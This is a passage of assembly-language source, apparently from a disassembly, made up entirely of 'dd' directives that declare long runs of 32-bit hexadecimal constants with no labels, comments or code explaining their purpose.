472A7C2Eh, 8562F0D0h, 0A008A887h, 134DDBh dd 180BB008h, 5BF99B78h, 0E7469898h, 97098848h, 58465EC4h dd 407B5544h, 34FE7E62h, 0B4227C4Bh, 9BAA3086h, 25268212h dd 0B86AA007h, 98140D84h, 133B5E10h, 6824C304h, 0F26A08Ch dd 866CB58Ah, 8EEDA3C2h, 76CF4F60h, 0E5A85C27h, 6028E4E4h dd 1C71419Ah, 5E30E722h, 2E5B4907h, 1823E819h, 0D86E88EDh dd 28274F34h, 136744C0h, 0E88B263h, 9399739Ah, 4B0EE562h dd 0F12E84A3h, 70268FF8h, 380BC200h, 0C7AEFE1Fh, 0CADD0E39h dd 0E9EB05CBh, 6E91C81Bh, 0C6B10103h, 27001429h, 50207674h dd 0E97CEA36h, 0F488624Eh, 0E47501A8h, 1BAB0E71h, 0C81DC0FCh dd 0AFF6F472h, 0E8FBAE26h, 74164676h, 416F7400h, 83215D3Ah dd 49849886h, 6A079CCEh, 25F505C0h, 0E04CB645h, 0FF3E553h dd 7C05D4CEh, 88928454h, 204317Ch, 0B86889B4h, 0F3CFCBC0h dd 63FE12ACh, 71900585h, 88AD4Dh, 229C8C6Ch, 0E2C421h dd 8FF5315Ah, 0ACE8188Ah, 8306403Dh, 5C9977C7h, 26AAC943h dd 2144820h, 72AE730Bh, 38582194h, 179A2E44h, 1865F84h dd 0EE9D2D0Ah, 7482D07Fh, 0D7C59001h, 6DA22F96h, 2DFFE442h dd 23A43460h, 5940D182h, 0D51829h, 0F6DD3C8Bh, 5B4664A9h dd 8EB4130Bh, 0E47C384Dh, 4A6B0095h, 0A02A9C54h, 963F925Fh dd 3E2779C7h, 0C208216Ah, 9C3D18B7h, 41499205h, 6FDEC137h dd 0F5E040B3h, 0A8482E1Bh, 338DA080h, 0FCCA4830h, 648B6313h dd 129C0C88h, 0B003AFE9h, 649FC9B4h, 7B680093h, 11E6FBFh dd 460070FDh, 0A4FB51E6h, 169DFACAh, 1F314A39h, 802E9E7Ah dd 32C008E3h, 510391EBh, 697298FCh, 606BA2E9h, 3667CE3h dd 5DE36508h, 0AC04490h, 76F88B47h, 6E841000h, 0F970C545h dd 75A84808h, 4792F41Fh, 100C680Eh, 0FBC6379Ah, 679D220Fh dd 0FE0A6CFCh, 80E53905h, 823E1F87h, 0A86149E4h, 0FE14E057h dd 8C2F544Eh, 0F02D2A23h, 938F0435h, 82378A65h, 4E10E970h dd 0BC209D92h, 0B5CAF7Ah, 0CC404F4Ah, 0E8DA1863h, 0BB5F001Ch dd 0CE2EED3Ch, 5B00A936h, 10FA847Ch, 0BAC767Dh, 67982902h dd 0C4A14464h, 0FEE11831h, 0E99B2699h, 0F0507188h, 2101E7C0h dd 2A189420h, 463A0EFEh, 0CA3FD2BCh, 65C00126h, 392CC70Ch dd 68A09DFBh, 0BB537351h, 0DA344800h, 6F881FDh, 0EE6C019Bh dd 0B6D5E021h, 0BC083CDBh, 401C8C2Ch, 0D93A8346h, 608C9218h dd 42A20AFh, 0BB918A24h, 44A6F20Fh, 14A9D00Eh, 0CC01ACACh dd 0B69F7FBCh, 0CFE1F7A5h, 2DF20022h, 0DC55D833h, 8BA74F65h dd 0C026C8B0h, 0B8B1698Dh, 4E7720Bh, 0D850CBCEh, 0B645682Eh dd 41F54468h, 10DBC598h, 0FCB8D47Dh, 61C2801h, 8A0AF3FAh dd 126D96C8h, 0DCD7D8h, 0A6BCCD2Ch, 8C9C9F42h, 0E4BB1084h dd 0D52758A8h, 2EE45CE5h, 587E3962h, 0B9044540h, 2B1F05F5h dd 214DF65Bh, 0D80221F4h, 0D8036518h, 0AF97C5B1h, 44B9FEBh dd 0ACE292B8h, 5B305AF2h, 4FDA480Ch, 7EF8FF00h, 0C92C17F4h dd 48058A4Bh, 0C4C69378h, 2E220BB1h, 0D4AF547Dh, 1CF1A249h dd 0C288003Ah, 0C4B9F3D2h, 7A3E0E82h, 0B120ABF6h, 5B3013FBh dd 683CC200h, 4EA573EBh, 0D93328D0h, 99F098ACh, 182BF114h dd 0E424006Eh, 0AEC2F84Bh, 12505882h, 6209CBC8h, 0C6912FE9h dd 0AF08DFD8h, 0A8D0146Bh, 80002AC7h, 0D8C6E3BEh, 582360h dd 0DAFF56Eh, 686778EFh, 516439CCh, 9A081805h, 5CA00893h dd 7C0120D6h, 45692E62h, 0E16C5B10h, 0F0D2367Dh, 0ECC8848Bh dd 0ACC30AC0h, 0E9525F3h, 40CC60A7h, 19B64294h, 0F6D00600h dd 960B730Fh, 7F68071Dh, 47C4A137h, 0D2DEA1E7h, 82B2FCFCh dd 35444E09h, 0C008EDFEh, 9D32223Ah, 0C7081900h, 0F5F06E2Bh dd 4C0E3065h, 8869D329h, 7052D401h, 14B4DD22h, 0B415420h dd 18A3F758h, 3D1F9420h, 5258F28Ch, 44034BE4h, 0ECC8EF23h dd 4ADC2CA0h, 0FFB8907Ah, 0A912A006h, 0D8A24D95h, 0E682360Bh dd 905AEC29h, 58C46C85h, 571C1060h, 0BCDD8000h, 81BF3D40h dd 0D3774F05h, 10E30460h, 96727901h, 0D6C3B0EDh, 4A0A5C20h dd 0C878CB97h, 1478C1ECh, 9F41C4A8h, 0C6974A12h, 17EF8A0h dd 0FC625F45h, 921B01A6h, 0D8CCC880h, 6800E926h, 0DB5927C0h dd 0E09C5678h, 192527Eh, 9766B224h, 529BB06Dh, 7C6AF6C0h dd 584CFC5Ah, 8C26E8A8h, 0B5831704h, 1CB9FBEBh, 28A3C700h dd 45A85FDFh, 38384379h, 9C3524D1h, 0D6CF3C60h, 9A88A059h dd 0FB3F2DB0h, 0C0BD24E8h, 0DBCC1E1Fh, 6B9B9C07h, 1CC20105h dd 0ACB20FCh, 0BE09425Bh, 0C5AD65C1h, 67EBE49Ch, 0F9B86E33h dd 807CE8D7h, 1018C4C0h, 5C005058h, 646F980Fh, 57706D9h dd 92891C26h, 194A29Fh, 1AA1DEBCh, 0BC38C2F3h, 0C48439C5h dd 0CEE4161Ah, 6DB10D0h, 23BC2E93h, 0C9A60024h, 7144FD55h dd 0E3C5102h, 80C604B1h, 4E8A9B40h, 0A62F8146h, 794B8470h dd 0E99F00C4h, 74360ACAh, 1D01B57Ch, 52E63039h, 6ECCB9F2h dd 883E5E3Fh, 8500BA2Ch, 9E67E478h, 10D90DCh, 3E80D797h dd 0C91AFED4h, 27F4323Ah, 66C20FDh, 58A7F6h, 0DCA914B1h dd 177D9B2Dh, 0C0B69A78h, 3CECBD81h, 7C0893D4h, 3AC57E5Ch dd 311E027Dh, 7997DF75h, 185EF194h, 427C04A0h, 0F2F02A32h dd 0B1AF0010h, 0D40C38ACh, 9E88F675h, 5A46D484h, 0BADFB603h dd 0ADB078A0h, 0AC266D4Bh, 0FD11385Bh, 76038604h, 9B72C00Ah dd 4E51A6AAh, 54226ED4h, 29A3090h, 0A3B05811h, 0BC802C88h dd 55AF0232h, 36E404F7h, 0B8FE1444h, 92CC805Ch, 8CB71h dd 0ADEF8E0h, 7A87A742h, 0E8D17035h, 5AF220A2h, 2EFA430h dd 7DB8D61Ch, 0DA80EDAEh, 0F696C124h, 0A74FEC90h, 3E541020h dd 0CA500F2h, 6A3A203Ch, 5FEE5047h, 0DA0E0B79h, 51B3058Bh dd 0C448C04Ch, 72C0304h, 938E2AFh, 51CFA293h, 182C7168h dd 6F040B87h, 0F4A1DFC0h, 6652447Eh, 3353A22Ch, 763D26C8h dd 0CFC45606h, 4FF8654Ah, 0B644177Ah, 3676B160h, 0C57B2DCh dd 440EA0D0h, 0C4013E71h, 0C0A708Dh, 6C0E169h, 228917Ah dd 883C86Eh, 625AE0DAh, 182FC017h, 0E00F323h, 0C2A04036h dd 0E47D0053h, 0C12A9FF9h, 9D805756h, 74010267h, 3D5C7306h dd 9B5FC4E0h, 58D4DA52h dd 2FFB12FCh, 41DB98A4h, 5BC0F0CBh, 95A90F60h, 31AFC405h dd 50585EDAh, 2C173A30h, 2381ACDBh, 7C61D4C6h, 0F90F1250h dd 0A6373C80h, 4DE928CAh, 0BC9A0550h, 0C06FA2E7h, 95778338h dd 81294E04h, 0F4A823B8h, 57CB1201h, 533A9FCAh, 40093DECh dd 0E1A27A99h, 5082BDA8h, 2588723Eh, 0F55B8480h, 0BF088Ah dd 0E5C06AF0h, 45050BBDh, 6884B462h, 0F58B0188h, 0F464EAAAh dd 81B880h, 0CB5BA698h, 306B7853h, 54B6A5F0h, 53465Eh dd 1CE88C3h, 90CFC8BDh, 5C3DBD49h, 0B9D12200h, 42F80C7h dd 3472A7F8h, 0CEFCA884h, 0C50106Ah, 0B7E098F1h, 87F09C10h dd 1FBA8214h, 706E5B98h, 53CDC00h, 8508E4D2h, 13FB8A3Fh dd 18F034BBh, 7805887Ah, 0FEF0A09Dh, 6432AF3Ch, 0A25B9807h dd 0A49C00ACh, 0D7AD6613h, 8ABF007Ah, 2872515Dh, 0DD014C2Eh dd 0E5E7830h, 0A431F607h, 236C2F2Eh, 8C97005Ah, 0BFF5A4B3h dd 60E71F25h, 1B74030h, 4A4191F3h, 3D7D055Ch, 630E3F94h dd 0E8CDBF41h, 0D3CAD743h, 0E7D808D9h, 0B9441580h, 904FEB68h dd 3CC94C3Eh, 16E80E10h, 2CC8FC7Fh, 67D88B22h, 2E00E99Bh dd 73DAF694h, 0EF04DDh, 0A4B20DFBh, 0C38A7D7Ch, 82123CF8h dd 641D0638h, 0EC648CA6h, 9AC29E67h, 809C66C4h, 426F8000h dd 11E9E6Dh, 495E248h, 0EDC86A8Fh, 0F8C886F2h, 2706FD44h dd 0E881EFD8h, 228A16F5h, 30EDF2FCh, 9BFE4928h, 0C0968227h dd 4EB856D0h, 998CC097h, 47585BE1h, 0A20048E4h, 807A0271h dd 0C4838C7Ch, 5077509Fh, 41D5D818h, 7D91F0A2h, 50E441C1h dd 6E3BD1FBh, 0BEE338FCh, 0B0260225h, 8A325CBAh, 4674F4B8h dd 4DC3950h, 2DAEAC1Bh, 409FB082h, 805CC208h, 60376B30h dd 72976024h, 0C54882A9h, 0A44301A9h, 98003ECEh, 3F995B6Fh dd 0C24202D5h, 625C5410h, 9E13845Eh, 94B95CD4h, 9644B4D2h dd 2DCC9858h, 85A81041h, 39900053h, 9B4802DAh, 12884FFEh dd 5CD213B0h, 0FB984B23h, 2E0B8DAh, 43EC1C04h, 20BBC75Fh dd 5178564Ch, 2F6C2E00h, 0A0260C2Dh, 67C40084h, 0EC4D03F4h dd 831EFF7Eh, 3FD5A296h, 0BCDA0834h, 9FC80233h, 0EC8172F4h dd 2F586B10h, 0C12C8001h, 0B00056BEh, 721C3C9Fh, 5988310h dd 20B7C420h, 980BFCAEh, 2E5FC0BCh, 97D12B60h, 802B91D4h dd 63133D81h, 0E32E04FEh, 884E72CDh, 0B939DB88h, 0C474001Ch dd 81D27E7Ch, 28765C73h, 60D15E05h, 0F230B26Bh, 7DE2302Fh dd 0B6039500h, 4CBAAED3h, 0B0C9230h, 90D2450Bh, 0D84008E2h dd 7821577Ah, 1859D904h, 0ACA23C24h, 1737B400h, 40DAA444h dd 9D501948h, 4F2759D0h, 33CCBCC8h, 0B7671E00h, 0C953277Ah dd 1C4EEED0h, 809747EAh, 986AF0BFh, 795D0B13h, 0D5B8ACh dd 55AA94D6h, 0B39FE06Fh, 591B2300h, 0A6E56299h, 1897583Ch dd 99755086h, 4843795h, 0DB9ACE45h, 6B5E113Ch, 193C8202h dd 0EA02FDFAh, 8AD4DCF0h, 260C1150h, 16CB0017h, 2589E379h dd 4D65F903h, 3E64F399h, 91103618h, 0D7D40E34h, 0E966177h dd 1CE05FF6h, 51DA00F4h, 0CE5E874Fh, 0A8447195h, 0DCE3070Ah dd 1041D731h, 72CE5904h, 2C3A14F8h, 3C40611Bh, 9170A0CDh dd 0D0430CB0h, 2608B89Dh, 0C55721C0h, 76072CA0h, 0A1510090h dd 0C0CE58F7h, 0E00315ACh, 41E2DB2Ah, 0B0A00A19h, 3C4CF78Fh dd 606675F4h, 763F1161h, 0D603CEDBh, 0DEF838A0h, 53083090h dd 0DB7E2521h, 6076CA39h, 0FF6B5F10h, 12B10037h, 0DEFEC3A4h dd 0E530FD10h, 0A9D521CEh, 94525007h, 3EB00194h, 8EBA469Dh dd 53FED4C3h, 5EF8D803h, 0CD21161h, 0E11B7DB8h, 85011071h dd 4B14C66Ah, 0AECCD860h, 1AE9039Dh, 0F8770F7Ah, 5F5C2900h dd 0FC60F05Bh, 29730175h, 0E2FD5984h, 4B89807Fh, 7860AC63h dd 0D9101D38h, 0F3F100A3h, 0D8C620F0h, 793C9B1Eh, 0B41BB84Ah dd 0A81BF41Dh, 97728008h, 795D1B17h, 55A0300Ch, 0D80068D3h dd 0F8D7533Fh, 98D2D9h, 42CCF434h, 5B2CF2F1h, 2278B21Bh dd 435FF011h, 2C7717Fh, 184B5CF8h, 0B0836176h, 62B00D10h dd 120E08CBh, 6030F414h, 176D23F5h, 9A791FFFh, 0F82A2Ch dd 3137874Eh, 0EF4A0B55h, 0E8F552h, 3B52C374h, 5B0E6Bh dd 8AFF44DEh, 0AD42369Dh, 0CB2DA8A9h, 0E6794900h, 4FA524F7h dd 0AD030196h, 624E47E1h, 8EBACD9Ch, 90C87630h, 0FFBDE700h dd 1967DCCDh, 3D9AAE00h, 767C8954h, 0DE920073h, 0C72E79ABh dd 0DF0046BFh, 0FB6CEB27h, 527F0F89h, 4E18D458h, 0A2CA811Ah dd 3D1FDE00h, 0FB17021h, 29636178h, 71EA5505h, 6DEFD089h dd 5A0C210Bh, 0E1A20094h, 2541493h, 0CEDCCAFAh, 80A1FCF5h dd 0FCDAA739h, 311316EBh, 0E11E71B5h, 861E4E00h, 205229Dh dd 0E09B92A7h, 10411D2Ch, 2C0015BAh, 0F533B121h, 8051DDDFh dd 0ABE64323h, 240395E4h, 0AFA571C8h, 4D74F8BCh, 8FC1F173h dd 722D1E20h, 0EFD8A081h, 8297002Fh, 3D4588AAh, 8E00A752h dd 1C68A14Eh, 73571D9h, 0A8B69F07h, 0D1A6C0EEh, 1700B1D0h dd 0A9B5A7DCh, 0C6ADA127h, 29780620h, 72703F00h, 0B5B0CDE7h dd 0A036005Ah, 59EF9EF4h, 8820EA1Dh, 0D32D264Dh, 0A66E0333h dd 49089D30h, 3C811CA1h, 0EF74AF0Dh, 0E913DC18h, 7700C575h dd 33A9DF5Dh, 37434E8h, 10921F68h, 0CDF86ADCh, 0AF7324BDh dd 7B99E400h, 0B1623402h, 0EA282FC6h, 8A1ECB00h, 3D010D21h dd 0C56D8873h, 0D0EF4037h, 6175236h, 0C75EA4Ah, 0AC60D1A1h dd 18B4E470h, 0FAB800E9h, 902B97BFh, 34000A99h, 360F4A66h dd 3273B341h, 0C339A92Eh, 5134B380h, 0F106FADFh, 991DA6ADh dd 119403E9h, 7C0C2493h, 0A0383100h, 16ECFAFDh, 0C9E500D0h dd 0A6619247h, 0AC002C51h, 0E185376Ch, 0C3A70F3Fh, 74B2C150h dd 94F8CFFBh, 96000C33h, 431EEE8Ah, 71D9DE10h, 0FC407BFh dd 0B43E4Bh, 0C1D8EA11h, 0EE00C571h, 285EB1A1h, 0FA5C739Dh dd 0E2E35C99h, 0A8F0E407h, 684F7F29h, 0B0640356h, 18C6E523h dd 859DA338h, 5F5BA991h, 0B0D5206Ch, 2440C1D1h, 0D09FDFBEh dd 0AC009E7Eh, 17D29CE4h, 3EECDB60h, 8E0727A3h, 7096B852h dd 2BA5D65Ah, 90ADAA04h, 84399FDEh, 5693B481h, 24941410h dd 0B75DE907h, 8980DFECh, 646D556Eh, 1000AF7Fh, 2197DD20h dd 5B2DA0Eh, 0AD60CFA0h, 83458ACh, 80A0E05Fh, 1AE7C3C9h dd 0B9F8A0D0h, 0C2B78000h, 650D669Fh, 0C8DA0017h, 0A9D97BB6h dd 0A7079C26h, 0BE9E1B52h, 982504E0h, 78DF00C5h, 54CDC8B0h dd 1D0BEBFEh, 8086A7B8h, 3024BE76h, 8C29C823h, 2BEE7242h dd 6D296A0Ch, 4291FE20h, 0EA447CA0h, 48E244AEh, 0B4511C64h dd 11ED1A21h, 4B13E3CAh, 0C84229DEh, 21DEB311h, 1BF20896h dd 3500DC91h, 4CAD8647h, 0D70573EFh, 63CE5ABEh, 967E5B81h dd 0B1B7FCh, 2FF14A87h, 8D32093Fh, 0A8BB2E00h, 92D4DC5Ch dd 3E70E9h, 7E552A67h, 0F951442Ch, 52BAC807h, 0D05060BEh dd 2D2218h, 1E3F09AAh, 3203403Eh, 0BA048300h, 2CCB959Dh dd 93870201h, 43020961h, 0C28CEEC0h, 483BFC05h, 0BF00CB29h dd 47A1450Eh, 33BB0281h, 0B2BC5CB3h, 2A913FE0h, 20440200h dd 9F55630Eh, 48A600D6h, 3ED1F6E3h, 0D33F1E6Ch, 0E2432E38h dd 0D05E4200h, 0F1E6DFh, 0DBCE9139h, 0B53E485Fh, 98CDD800h dd 1121052Bh, 0C3D90062h, 7F7A9996h, 3E03BA36h, 0C242A1EAh dd 5728F09Ch, 21FE615h, 7EAC48B7h, 7E6021C4h, 0D8FB5241h dd 0E000322h, 9C67E704h dd 0EB49FAh, 0BACB5A1Bh, 923201A5h, 0C3BB9000h, 0ED5DBE9Fh dd 2C7758E9h, 0CE2F6C00h, 0F106E0A4h, 9B321600h, 0DB1D8AEAh dd 16657BD0h, 1E935F3h, 0D750D406h, 6D09FC1Fh, 54010DEEh dd 0B15BBBB6h, 5030BE67h, 7087007Dh, 7434AFEh, 0E7006930h dd 9DE480F3h, 0FC60673Ah, 7F97186h, 375E4381h, 0B0C2972Dh dd 0C7680B88h, 59A73000h, 31208589h, 18E7FE06h, 10512FD3h dd 21084AC9h, 952CD96h, 4300429Ah, 0B09A465h, 0F95FAD07h dd 35C1B48Fh, 2FE48267h, 0D19F1E66h, 0F5924290h, 8484C4A5h dd 0E4EA0040h, 8ED3E0h, 41FC253Ch, 8BC2C79Ch, 0CC2B100Eh dd 920A40E2h, 5EDC11h, 0A58D30BCh, 0DBB64533h, 282E93FCh dd 8A0076FFh, 40FBE4F5h, 73790037h, 5A0FAEEEh, 62007A28h dd 359CE72Dh, 1CC08C7h, 0E08B892Bh, 20DD98BFh, 41075E9Bh dd 452C3880h, 7A08B5F0h, 0B3740758h, 10064056h, 5A078AEBh dd 0B0B7F900h, 711DB486h, 92FF00D3h, 0D8CD7BFBh, 0C160FEB8h dd 0AD8F89F8h, 335E3971h, 2FDDF080h, 6EE9AA62h, 0D0ED4707h dd 0A17502Ah, 1BBCE1E0h, 0F77733Bh, 0F7BF8E04h, 303680C0h dd 0EE142E3Ah, 24F0CB48h, 0A20080DCh, 95BC0774h, 0B2A50786h dd 9015BE1Bh, 0B9BF4FAFh, 0C952DF01h, 40115497h, 7C433D70h dd 0FCCD00B0h, 28A7919Ah, 98B0820Dh, 0E8460424h, 9D569000h dd 0FC755BEh, 0AB41F237h, 129584C0h, 0CDFC1A10h, 0A692203h dd 0AF714651h, 40EC1C02h, 143C2h, 2F1A3BBBh, 0B959B87Dh dd 85075100h, 32BC8928h, 0C84A00A6h, 0C4E11F2h, 0B2001F7Dh dd 4569A168h, 0E6F8281Bh, 26BB03FFh, 0BF4AD5F6h, 6C8ADFF0h dd 5AA62C01h, 312D3280h, 82C48CF9h, 96640F99h, 0C009B1FAh dd 0AAA62801h, 0F4E3D693h, 19E826F0h, 0C4A02A71h, 0DAA212A3h dd 0F3EB7640h, 0B3182861h, 3EDCC786h, 98110075h, 88E09597h dd 82003339h, 8038ED06h, 16CBA1h, 18FCBBB2h, 53D24D24h dd 601C44E0h, 87B9CF28h, 99045C84h, 3BCE4EC0h, 83590FECh dd 0A202438h, 1C2AF018h, 0A7B67200h, 7FCED499h, 76F600BCh dd 6707DF0Eh, 8200C913h, 0F7EE4AE2h, 1D4FEB9h, 124C79ADh dd 21640D71h, 68E8803Bh, 0B168AF4h, 0CFC3078Eh, 6F93A3B6h dd 5B1E9A1h, 0D5C1DCD4h, 0DF00F27Fh, 1513322Bh, 7DA3425Fh dd 6C8600C2h, 783116F3h, 0CF031703h, 8F22498Ch, 873DE806h dd 7C59006Eh, 57CE5C09h, 0AA3AA5C0h, 80B6B827h, 0ABE47B68h dd 2E831D4Eh, 1A524BDh, 94180D86h, 70D8D7D6h, 0A726B3FFh dd 3F50745Bh, 399A09BAh, 4CA05669h, 85CDCBD5h, 0D0FCDB01h dd 0FF1AA197h, 9E580EEh, 737F0E9h, 0A4FB2E39h, 0D0E6724Bh dd 29679060h, 0DCEEBC00h, 0FA04DA94h, 0AEDF0037h, 0B377BE89h dd 381D2F76h, 414B704Ah, 9D540032h, 4ED31Bh, 0FE862D4h dd 0BA0B5D94h, 16FC0618h, 13A7C84h, 73957836h, 0DCDDE2E9h dd 0D90057B2h, 6F9F5988h, 777FB30h, 390D8797h, 5313E071h dd 0C101B4F2h, 3031CFFEh, 3880CB22h, 46FB61A0h, 900342CCh dd 8CED51C6h, 0DB5AF039h, 3CD0EF63h, 3F70335h, 9F74AC0Fh dd 0F440C5C2h, 0E21F1CD0h, 10806876h, 0A779BAE0h, 19D307CFh dd 0C063B3DBh, 953EE24Eh, 2D0078F4h, 5D6BE104h, 1C37674h dd 0B3CDB18Bh, 0D8162124h, 3F40E08Ah, 0B91A2C5Ch, 46AB40DCh dd 0BF0A5F8Fh, 81BA9EB1h, 0D1910Bh, 0AB868A08h, 24714Fh dd 0E307CA9Ch, 96BF173Fh, 0E71C3075h, 1D815BD8h, 50A9E203h dd 7200FC62h, 0FEEC9B9Ch, 101E68Ch, 4C90D9A1h, 11E4855Dh dd 0A33E0C3Fh, 41C9F1B8h, 0E063Ah, 0BF7ABDBBh, 732E7B7h dd 0E072D85Fh, 783CA1A1h, 6BD83580h, 5AC2A0h, 0F42D1092h dd 7FFD26Ch, 82F79400h, 84DCBC6Dh, 0CAE600A2h, 5ADFBBEAh dd 48E40670h, 0CC6F0400h, 0BF16336Bh, 855F12C5h, 0B4AC0EC6h dd 63B2DF40h, 1800843Ah, 0EDC987D1h, 0A09298C0h, 0A2F48Fh dd 0AEFC6DEh, 0E06757D9h, 77662900h, 9FF97410h, 0B0CD48C5h dd 99FB726h, 0AC0047EDh, 0F181A9B2h, 0D872B803h, 0E0B3C2FFh dd 1D5E3887h, 8021ED62h, 9971856Ch, 0ACB0A8C9h, 5BBE4400h dd 3B35D10Dh, 0F2050013h, 770FB76Eh, 5C724333h, 783AB500h dd 0B97B91E9h, 7E7E0ADh, 729D8B76h, 0C01C857Fh, 12EB2F26h dd 0E10B85Ch, 601D4644h, 95B3A038h, 76F20091h, 0A434019h dd 92003DEBh, 5A3EF7E5h, 15D1D11h, 2D5EF62Bh, 0C8ABE7FBh dd 40001F4Ah, 3B28EEB2h, 495B5Ch, 0A0D882EAh, 358B8ADAh dd 0BCFB4Dh, 4DAA2FC0h, 0D602DDh, 656F0E2Eh, 2B8A327Fh dd 7C1C912Ch, 0F817201h, 0F0C78724h, 0E6DFA6A9h, 7EDC120Dh dd 79C80074h, 2581B035h, 19D26D00h, 89662348h, 0F2551F75h dd 45030078h, 0C11CB0C5h, 9DEBC00h, 0E66AEC21h, 1E74F3h dd 38E8324h, 0EC15C41h, 0EB9AB900h, 9F26267h, 0F3151D66h dd 9B5181DEh, 0FA7B7E42h, 1F6FB160h, 0EA961402h, 40C13943h dd 0EB3A814h, 4E4B56CBh, 63F50E00h, 0E400F1D2h, 1245EEB4h dd 113FE54h, 0ED1E03B1h, 2B554873h, 5B5B0h, 0F9ABC980h dd 49C572D7h, 48D7E29Fh, 39B5C6C0h, 0EC80A1FDh, 65706BA8h dd 0AC095F9Eh, 80AFF1D6h, 0B70964A5h, 486C2E22h, 9ECD0094h dd 0F6C4CC1Bh, 6936CA00h, 9F80095Dh, 0AC0C0992h, 5200D15Fh dd 0FCA5A282h, 2A540118h, 1C90D310h, 805B041Ch, 0A57DBDF2h dd 8E2468E8h, 0BC00D114h, 0D1DB7F86h, 2E1DF619h, 4E06F46h dd 3C75D5Fh, 80B1377Ah, 0BF2FA4h, 0C2211E8Dh, 0BB11CA2Dh dd 93096100h, 0B1F995AEh, 8A1F05F2h, 80368937h, 5BC0F7AAh dd 9A4727h, 0EC73A7ACh, 0BBE1487Bh, 9588127Ah, 4C108060h dd 69017D0Bh, 72261B12h, 32205330h, 83D1A06Bh, 34545C05h dd 0BC632E00h, 1EACF982h, 5A4C4D00h, 317950C7h, 2CB011h dd 0D3214247h, 0C6A89899h, 0D416D200h, 8953F222h, 0B849C043h dd 7902A9F6h, 0FAC52E06h, 0F6189772h, 8B07059Dh, 0C0F3F73Bh dd 0BDAA4972h, 73CE9506h, 17984497h, 3D2733h, 6FF6BABFh dd 35007DB8h, 0DA343699h, 71B44A7Ch, 17493951h, 94A728h dd 0D9FE14D5h, 0CAB0295Bh, 4E00CDEEh, 0AB4DC134h, 61E8C3h dd 0F4277B2Ch, 43BFEBD1h, 6E88035Ch, 41548728h, 2C00534Eh dd 508F878Ch, 0AF140E0Ah, 708F0E88h, 0FA565961h, 30D8808Dh dd 63833591h, 0D39301C5h, 0D7C3927Fh, 0CCB4C44Fh, 8530743Fh dd 0CA849C8Dh, 0D318D000h, 0B0EE49h, 0C3F80577h, 1A06326Eh dd 0CB232800h, 0FD95C7ABh, 0DD9027h, 694C5713h, 0F8BC84C2h dd 0D5308800h, 496C3A15h, 42B90B4Eh, 48010898h, 60015244h dd 0C0008373h, 9E85FB3Ah, 201D19h, 0D38C4DF0h, 2128F95Ch dd 31E4590Ah, 0B828B416h, 8473E300h, 3B3F43DDh, 1E1A041Bh dd 0C02D67F2h, 7A19B40h, 20487100h, 0F54AAEA0h, 20CF5C77h dd 89099400h, 25D601C8h, 0B46A9902h, 608267F6h, 15F73Eh dd 142D6147h, 190507E0h, 0FA919004h, 38A0533Bh, 2D09072Ch dd 0C0E3C8AFh, 0B0EA3AB4h, 0A2F15600h, 636AF513h, 892B00C7h dd 0DD0A59D8h, 340C4A7Eh, 18C474D6h, 3A140228h, 0B85291FCh dd 9CCE5040h, 0C3E0DF18h, 0D75A20h, 610AF1C0h, 6EE8713Fh dd 8E949E3Fh, 20A9E516h, 0D0A7C19Fh, 1BD700C4h, 0DFF56A3Bh dd 100A421h, 0DC8DE169h, 0CA1D63h, 312CB135h, 1C66EAA0h dd 8E620800h, 3F2B718Ch, 0EF450538h, 80CC031Bh, 0E660D75Ah dd 8C39A000h, 0FB7A2781h dd 0A840034h, 1922A99Fh, 0CC9CEE9Dh, 788E0038h, 6399122Fh dd 0BEDD281Ah, 880C2C90h, 95A180A0h, 0AE3C9DB0h, 705025Ch dd 9FB7EB1Ch, 0D881B630h, 2E513C12h, 7FC0C607h, 311AB0AFh dd 72006778h, 0E8D5A43Dh, 988A90D4h, 0D80A0094h, 0F1A6A869h dd 4A5C4D44h, 0F3DFCh, 9C59FB52h, 0F737533Ch, 503082Ch dd 68DA8CB3h, 80A22038h, 463AF9FFh, 61946Ah, 624E92E3h dd 8126E9B2h, 0F0EE3912h, 64903480h, 0A81E380Fh, 5C82D680h dd 938588BCh, 9B5FB205h, 0D88090C4h, 3F729151h, 6E8F87F6h dd 1D03D812h, 4DF8B792h, 0DF90F48Bh, 19B69700h, 7E287939h dd 9D550011h, 332B86A6h, 64036B5Ch, 2566487Dh, 366DC05Bh dd 0EAAB006Ch, 37C2BFA0h, 1D001612h, 0B2708322h, 9DDB6Fh dd 90C5A113h, 0C2672774h, 3D4809E6h, 63620034h, 0D14E59D7h dd 742400D3h, 8538431h, 1600CB48h, 0A033F952h, 0F7234B8h dd 69583AC6h, 0D6EA180h, 0C1673BAh, 7C40B567h, 0C2717064h dd 0DDC90098h, 96E575A8h, 29006F7Ah, 0B7CFC165h, 199033h dd 26677D80h, 0B6B8D137h, 2008679h, 5AAF704Bh, 0FA443BD5h dd 808DFCFCh, 73003042h, 0CF884F87h, 80F3E8h, 6FBFC7Ch dd 9C10978Ah, 0BCDE4600h, 0A75F17F5h, 0CECB00DAh, 9FB98CF6h dd 1002394h, 0A6DD9189h, 3187E1Fh, 8E1C7334h, 0F6E05590h dd 89003BD2h, 0CBFE1A23h, 3E58C61Bh, 5E01C9A5h, 0CE8264CCh dd 2754F459h, 7861A41Dh, 1FF59840h, 0F4C2B9h, 912D02C3h dd 651562ACh, 3E45F800h, 0B467FCB3h, 182985Dh, 13F5E22Ch dd 7146E0AEh, 912AFC05h, 0B8E59E30h, 0AA5C98h, 3D99547Ah dd 0AE23073Ah, 5830A001h, 0C64197A1h, 9AAC60h, 36351051h dd 0C0A34C14h, 0DEF8F300h, 0C159C9Dh, 45FC0029h, 0C9D228C1h dd 72D2F5Dh, 0A7500219h, 0DDC460BFh, 0EEA0336h, 569437EEh dd 8C011680h, 0AAAE5400h, 5BE15193h, 0BE5A000Fh, 959C4B0Bh dd 34756AFCh, 0C007C90h, 0A6B1E593h, 59524Ch, 0DC699624h dd 0BF6CD10Bh, 0B4B73Ah, 419C7A6Ah, 0C14BEEh, 0A536BFAh dd 0F3A59A2Bh, 8C4A5B00h, 7BA3F4A4h, 36230049h, 227BD0Fh dd 700B280h, 432B55AAh, 3EC78EC4h, 8B00D093h, 565D2E1Dh dd 9F007BB2h, 5F0A10F8h, 189E3Dh, 4B488443h, 5C3B230Fh dd 12081F07h, 9D40213Eh, 1FA21BA1h, 0C18729C6h, 7774D4FDh dd 10FAD833h, 5EF44900h, 0B0357E7Fh, 0EB0400ECh, 6F11C1F3h dd 7C05FC24h, 0E57DF9Bh, 0E45670D0h, 31FA00DCh, 80390640h dd 550EA5F9h, 0CFD1935Ah, 67009CF4h, 788A7FB0h, 0DD1800A8h dd 6B8BE315h, 0DF01BA0Fh, 0C3AAA580h, 0CB60FBCBh, 1150FDEh dd 0ADE91228h, 